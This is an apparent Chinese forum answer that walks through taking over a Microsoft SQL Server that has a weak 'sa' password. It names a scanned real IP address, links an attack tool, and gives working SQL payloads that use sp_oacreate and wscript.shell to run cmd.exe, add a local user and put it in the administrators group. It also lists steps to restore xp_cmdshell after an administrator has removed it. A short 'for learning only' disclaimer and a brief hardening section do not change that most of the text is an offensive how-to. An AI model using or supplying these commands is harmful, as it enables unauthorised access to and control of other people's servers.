发布网友
共1个回答
热心网友
当sa储存扩展被删除后....sa弱口令相关命令
可不知道大家有无这样的经历?当用sql综合利用工具连接成功后,有的能直接执行命令,创建帐户,
有的执行命令时却遇上下面种种情况而使你辛苦扫得的sa 弱口令失效,功亏一篑~
例如执行命令后回显1:未能找到存储过程'master..xpcmdshell'.
回显2:无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
回显3:拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。
等等可能还有些吧。这几个比较常见。
碰上这种情况,小菜们就变得无所适从了,棰胸跺足,甚至侮辱斯文,臭骂管理员。。。
呵呵,俺认为,回显1,2一般要么是管理员lj,要么是中级菜友的杰作,一般都是可以恢复的shell。回显3可就是经典作品了,把sa的权限降低了,与systemadmin脱离了联系。。。对于这种情况,俺还没有更好的解决办法。(哪位大哥知道麻烦告诉我一声^_^)
下面我就具体演示一下我是怎么对付这样的情况的。
用到的工具:sql查询分离器休闲庄专用版。
怕大家找不到,我把下载地址给大家
SQL查询分析器休闲庄分离版本
http://soft.7747.net/ware/774710/sqlquery.zip
假如我们扫到了:
[219.84.135.161]: 发现SQL-Server弱口令 "sa/[口令与用户名相同]"
[219.84.135.161]: "SQL-Server弱口令"扫描完成, 发现 1.
还开了33!
先打开sql综合利用工具
连接试试
看,连接成功。
执行命令时,回显
无法载入 DLL C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplo.dll,或是参考到某个 DLL 。原因: 126(找不到指定的模组。)。
这个时候,我们就没办法再继续下去了。
下面打开sql查询分离器
登陆进去
出来一个白白的这个。。。
呵呵
哦。
这个ip是开了33的。
我们先登陆33看是否成功。
忘记讲了
看。windows2000的server版
好了。我们再在sql查询分离器中输入命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user test 123 /add'
这个命令就是创建一个用户名为test,密码为123的用户,
输入后按F5
我们看到回显有个这个表格样的东东,0。这样的。
这就表示成功了。如果回显“命令成功完成”,反而是没有成功~
呵呵不要上当哦。
下面提升test的权限
输入命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators test /add'
把test提升为管理员
按F5执行命令,回显和刚才一样。。。
下面我们登陆33
用帐户test
密码123
看能不能登陆,看。。。。
进去了吧。。。
呵呵。。。
**********************************************************************************
sa弱口令相关命令
总结的一些关于sa弱口令相关命令.
注:具体问题具体分析,以上方法仅供参考,不一定有效,相关原理知识请自行查找。重要提示!以上提供的方法仅供学习研究!请大家不要进行任何破坏国内主机的违法行为!否则一切后果自负!转载请保留此信息。
一.更改sa口令方法:
用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'
(提示:慎用!)
二.简单修补sa弱口令.
方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO
然后按F5键命令执行完毕
方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell'
然后按F5键命令执行完毕
三.常见情况恢复执行xp_cmdshell.
1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'